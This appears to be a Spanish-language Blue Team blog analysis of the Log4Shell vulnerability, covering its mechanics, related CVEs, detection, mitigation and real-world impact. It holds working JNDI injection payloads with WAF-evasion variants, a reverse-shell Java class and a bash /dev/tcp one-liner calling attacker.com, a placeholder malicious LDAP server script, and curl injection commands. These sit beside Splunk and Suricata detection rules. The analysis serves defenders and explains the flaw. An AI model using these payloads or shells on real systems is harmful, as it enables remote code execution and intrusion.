Log4Shell (2021-2022): La vulnerabilidad que rompió internet

CVE-2021-44228 en Log4j afectó a millones de aplicaciones Java. Análisis técnico del JNDI exploit.

Blue Team6 min de lectura
Compartir:

Log4Shell (2021-2022): La vulnerabilidad que rompió internet ## La vulnerabilidad CVE: CVE-2021-44228 Nombre: Log4Shell CVSS: 10.0 (Critical) Fecha de disclosure: 9 de diciembre de 2021 Componente afectado: Apache Log4j 2.x (2.0-beta9 a 2.14.1) Tipo: Remote Code Execution (RCE) via JNDI Injection Impacto: Cientos de millones de dispositivos y aplicaciones ## ¿Qué es Log4j? Log4j es una biblioteca de logging de Java omnipresente en: - Servidores de aplicaciones: Tomcat, JBoss, WebLogic - Frameworks: Spring Boot, Struts, Solr, Kafka - Productos comerciales: VMware, Cisco, Apple iCloud, Tesla - Videojuegos: Minecraft (primera víctima pública) - Dispositivos IoT: Routers, cámaras, impresoras - Cloud services: AWS, Azure, Google Cloud ## Anatomía técnica del exploit ### El código vulnerable java // Log4j 2.x - Código vulnerable (simplificado) public class StrSubstitutor { public String replace(String input) { // Busca patrones ${...} Matcher matcher = Pattern.compile("\\$\\{([^}]+)\\}").matcher(input); while (matcher.find()) { String lookup = matcher.group(1); // VULNERABLE: Resuelve lookups sin sanitización if (lookup.startsWith("jndi:")) { // Realiza JNDI lookup a URL controlada por atacante Object result = new InitialContext().lookup(lookup.substring(5)); // RCE cuando el objeto se deserializa } } } } ### Payload de explotación bash # Payload básico ${jndi:ldap://attacker.com/Exploit} # Variantes ofuscadas para evadir WAF ${jndi:ldap://attacker.com:1389/a} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a} ${jndi:dns://attacker.com} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com/a} ### Cadena de explotación completa Paso 1: Inyección del payload ↓ User-Agent: ${jndi:ldap://attacker.com/Exploit} ↓ Paso 2: Aplicación logea el User-Agent ↓ logger.info("Request from: " + userAgent); ↓ Paso 3: Log4j procesa ${...} ↓ Detecta jndi: prefix ↓ Paso 4: JNDI lookup a servidor atacante ↓ new InitialContext().lookup("ldap://attacker.com/Exploit") ↓ Paso 5: Servidor LDAP malicioso responde ↓ Devuelve reference a clase Java maliciosa ↓ Paso 6: Aplicación descarga clase ↓ http://attacker.com/Exploit.class ↓ Paso 7: Clase ejecutada (RCE) ↓ Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker.com/4444 0>&1") ## Exploit práctico ### Servidor LDAP malicioso python #!/usr/bin/env python3 import socket from ldap3 import Server, Connection, ALL class MaliciousLDAP: def __init__(self, port=1389): self.port = port def start(self): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('0.0.0.0', self.port)) sock.listen(5) print(f"[+] LDAP Server listening on port {self.port}") while True: client, addr = sock.accept() print(f"[+] Connection from {addr}") # Responder con LDAP referral a clase maliciosa response = self.build_ldap_response( "http://attacker.com:8000/Exploit.class" ) client.send(response) client.close() def build_ldap_response(self, codebase_url): # LDAP response que apunta a clase Java maliciosa return b"\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00" if __name__ == "__main__": server = MaliciousLDAP() server.start() ### Clase Java maliciosa java // Exploit.java - Reverse shell import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { static { try { // Conectar a atacante Socket socket = new Socket("attacker.com", 4444); // Ejecutar shell Process process = Runtime.getRuntime().exec("/bin/bash"); // Conectar I/O InputStream in = process.getInputStream(); InputStream err = process.getErrorStream(); InputStream sockIn = socket.getInputStream(); OutputStream out = process.getOutputStream(); OutputStream sockOut = socket.getOutputStream(); // Proxy I/O while (true) { while (in.available() > 0) { sockOut.write(in.read()); } while (err.available() > 0) { sockOut.write(err.read()); } while (sockIn.available() > 0) { out.write(sockIn.read()); } sockOut.flush(); out.flush(); Thread.sleep(50); if (process.exitValue() != 0) { break; } } } catch (Exception e) { e.printStackTrace(); } } } ### Vectores de inyección bash # 1. HTTP Headers curl -H "User-Agent: ${jndi:ldap://attacker.com/a}" https://victim.com curl -H "X-Forwarded-For: ${jndi:ldap://attacker.com/a}" https://victim.com curl -H "Referer: ${jndi:ldap://attacker.com/a}" https://victim.com # 2. Query parameters https://victim.com/search?q=${jndi:ldap://attacker.com/a} # 3. POST data curl -X POST -d "username=${jndi:ldap://attacker.com/a}" https://victim.com/login # 4. WebSocket messages ws.send('{"message":"${jndi:ldap://attacker.com/a}"}') # 5. Email (si logeado por servidor) To: victim@example.com Subject: ${jndi:ldap://attacker.com/a} # 6. Minecraft server (primer vector público) /msg ${jndi:ldap://attacker.com/a} ## CVEs relacionadas ### CVE-2021-45046 (Bypass inicial) CVSS: 9.0 Fecha: 14 de diciembre de 2021 Descripción: DoS + RCE en configuraciones específicas bash # Bypass de mitigación inicial ${jndi:ldap://127.0.0.1#attacker.com:1389/a} ### CVE-2021-45105 (DoS) CVSS: 7.5 Fecha: 18 de diciembre de 2021 Descripción: Stack overflow via recursive evaluation bash # Payload que causa infinite recursion ${${::-${::-$${::-j}}}} ### CVE-2021-44832 (RCE post-auth) CVSS: 6.6 Fecha: 28 de diciembre de 2021 Descripción: RCE si atacante puede modificar configuración de Log4j ## Detección masiva ### Scanner automático python #!/usr/bin/env python3 import requests import sys class Log4ShellScanner: def __init__(self, target, callback_domain): self.target = target self.callback = callback_domain def scan(self): payloads = [ f"${{jndi:ldap://{self.callback}/a}}", f"${{jndi:dns://{self.callback}}}", f"${{${{::-j}}ndi:ldap://{self.callback}/a}}", ] vectors = [ ('User-Agent', payloads), ('X-Forwarded-For', payloads), ('X-Api-Version', payloads), ('Referer', payloads), ] print(f"[+] Scanning {self.target}") for header, payload_list in vectors: for payload in payload_list: headers = {header: payload} try: resp = requests.get(self.target, headers=headers, timeout=5) print(f"[*] Tested {header}: {payload[:50]}...") except Exception as e: print(f"[!] Error: {e}") print("[+] Check your callback server for DNS/LDAP requests") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_url> <callback_domain>") sys.exit(1) scanner = Log4ShellScanner(sys.argv[1], sys.argv[2]) scanner.scan() ### Detección con Burp Collaborator bash # Generar payload con Burp Collaborator PAYLOAD="${jndi:ldap://x${hostName}.x${env:USER}.burpcollaborator.net/a}" # Si vulnerable, verás: # - DNS lookup a tu dominio Burp Collaborator # - LDAP connection attempt ## Mitigación y remediación ### Parches disponibles bash # Versiones seguras Log4j 2.17.1+ (Java 8) Log4j 2.12.4+ (Java 7) Log4j 2.3.2+ (Java 6) ### Mitigación temporal (si no puedes parchear) bash # Opción 1: Deshabilitar JNDI lookups (Log4j 2.10+) -Dlog4j2.formatMsgNoLookups=true # Opción 2: Remover clase vulnerable zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class # Opción 3: Actualizar log4j2.xml <Configuration status="WARN"> <Properties> <Property name="log4j2.formatMsgNoLookups">true</Property> </Properties> </Configuration> ### Hunting con Splunk spl index=* "${jndi" OR "${${" OR "${lower:j" OR "jndi:ldap" OR "jndi:rmi" OR "jndi:dns" | regex _raw="(?i)\$\{jndi:(ldap|rmi|dns)://" | stats count by host, source, _raw | sort -count ### Regla Suricata/Snort bash alert http any any -> any any ( msg:"Log4Shell Exploitation Attempt"; flow:to_server,established; content:"${jndi"; nocase; pcre:"/\$\{jndi:(ldap|ldaps|rmi|dns|iiop|corba|nds|http):\/\//i"; classtype:attempted-admin; sid:1000001; rev:1; ) ## Impacto global ### Organizaciones afectadas - Apple: iCloud - Amazon: AWS (múltiples servicios) - Cloudflare: Servicios internos - Tesla: Sistemas internos - Twitter: Sistemas de logging - Minecraft: Servidores públicos - VMware: vCenter, Horizon - Cisco: Múltiples productos ### Explotación en la wild Día 1 (9 dic): Disclosure público Día 2 (10 dic): 100+ scanners automáticos detectados Día 3 (11 dic): Botnets (Mirai, Kinsing) explotando activamente Día 7 (15 dic): 40% de internet escaneado Día 30 (8 ene): Millones de intentos de explotación diarios ### Malware observado - Kinsing: Crypto miner - Mirai: Botnet IoT - Muhstik: Botnet DDoS - Cobalt Strike: Beacons de APTs - Ransomware: Conti, Khonsari ## Lecciones aprendidas 1. Dependency management es crítico - Log4j estaba en miles de dependencias transitivas - Necesidad de SBOM (Software Bill of Materials) 2. Logging puede ser un vector de ataque - Nunca loggear input sin sanitizar - Deshabilitar features peligrosas por defecto 3. Respuesta coordinada global - CISA, NIST, vendors trabajando juntos - Patches released en días (récord) 4. Zero-day detection es insuficiente - Millones de sistemas sin parchear meses después - Necesidad de patch management automatizado --- #Log4Shell #Log4j #ZeroDay #RCE #JavaSecurity #BlueTeam #IR